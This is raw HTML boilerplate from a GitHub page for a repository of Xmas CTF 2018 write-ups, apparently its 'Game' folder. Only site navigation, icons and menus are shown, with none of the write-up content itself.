0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="162837579" data-scoped-search-url="/serega6531/XmasCtf2018Writeups/search" data-owner-scoped-search-url="/users/serega6531/search" data-unscoped-search-url="/search" data-turbo="false" action="/serega6531/XmasCtf2018Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="AsPEvS/2Vs8Y1rD0QTdieuZkJW81Ouq+9nut1e9GeiswLm1PhrAVNlHhaacYIau1XkmNu0l/+LYBJ8vKcm0snQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> serega6531 </span> <span>/</span> XmasCtf2018Writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/serega6531/XmasCtf2018Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":162837579,"originating_url":"https://github.com/serega6531/XmasCtf2018Writeups/tree/master/Game","user_id":null}}" data-hydro-click-hmac="0122b992d43fe52fc6bf6242f430202508b1f2d800d18574619bbf34b9ca8915"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" 